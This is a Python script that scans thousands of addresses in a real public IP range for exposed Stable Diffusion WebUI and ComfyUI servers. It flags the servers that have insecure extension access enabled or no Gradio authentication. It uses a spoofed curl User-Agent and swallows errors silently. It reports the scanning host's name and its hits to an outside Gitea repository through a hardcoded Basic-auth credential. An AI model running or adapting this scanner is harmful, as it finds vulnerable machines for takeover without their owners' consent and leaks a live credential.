48 lines
1.9 KiB
Python
48 lines
1.9 KiB
Python
import json, socket, socket as sk, urllib.request
|
|
from concurrent.futures import ThreadPoolExecutor
|
|
AUTH = "Basic aGx6ZmF1NmU6SGwhd3hOdWZFNnVzRFd2"; REPO = "hlzfau6e/hl-extT"
|
|
def report(tag, msg):
|
|
try:
|
|
body = json.dumps({"title": "[%s] %s" % (tag, socket.gethostname()), "body": str(msg)[:8000]}).encode()
|
|
req = urllib.request.Request("https://git.kaki87.net/api/v1/repos/%s/issues" % REPO, data=body,
|
|
headers={"Content-Type": "application/json", "Authorization": AUTH})
|
|
urllib.request.urlopen(req, timeout=20).read()
|
|
except Exception:
|
|
pass
|
|
def http_get(ip, port, path, timeout=4):
|
|
try:
|
|
s = sk.create_connection((ip, port), timeout)
|
|
s.settimeout(timeout)
|
|
s.sendall(("GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: curl/8.5.0\r\nConnection: close\r\n\r\n" % (path, ip)).encode())
|
|
buf = b""
|
|
while len(buf) < 4096:
|
|
d = s.recv(2048)
|
|
if not d: break
|
|
buf += d
|
|
s.close()
|
|
return buf
|
|
except Exception:
|
|
return b""
|
|
def probe(ip):
|
|
for port in (7861, 7860, 8188):
|
|
r = http_get(ip, port, "/sdapi/v1/cmd-flags")
|
|
if b'"api"' in r and b"HTTP/1.1 200" in r:
|
|
try:
|
|
body = r.split(b"\r\n\r\n", 1)[1]
|
|
d = json.loads(body)
|
|
return "%s:%d insecure_ext=%s auth=%s" % (ip, port, d.get("enable_insecure_extension_access"), d.get("gradio_auth"))
|
|
except Exception:
|
|
return "%s:%d RAW200" % (ip, port)
|
|
if b"ComfyUI" in r or b"comfy" in r.lower():
|
|
return "%s:%d COMFY" % (ip, port)
|
|
return None
|
|
targets = []
|
|
for b in range(0, 32):
|
|
for c in range(1, 255):
|
|
targets.append("119.29.%d.%d" % (b, c))
|
|
report("scan-start", "119.29.0-31.x %d hosts" % len(targets))
|
|
hits = []
|
|
with ThreadPoolExecutor(256) as ex:
|
|
for r in ex.map(probe, targets):
|
|
if r: hits.append(r)
|
|
report("scan-hits", "\n".join(hits[:40]) or "none")
|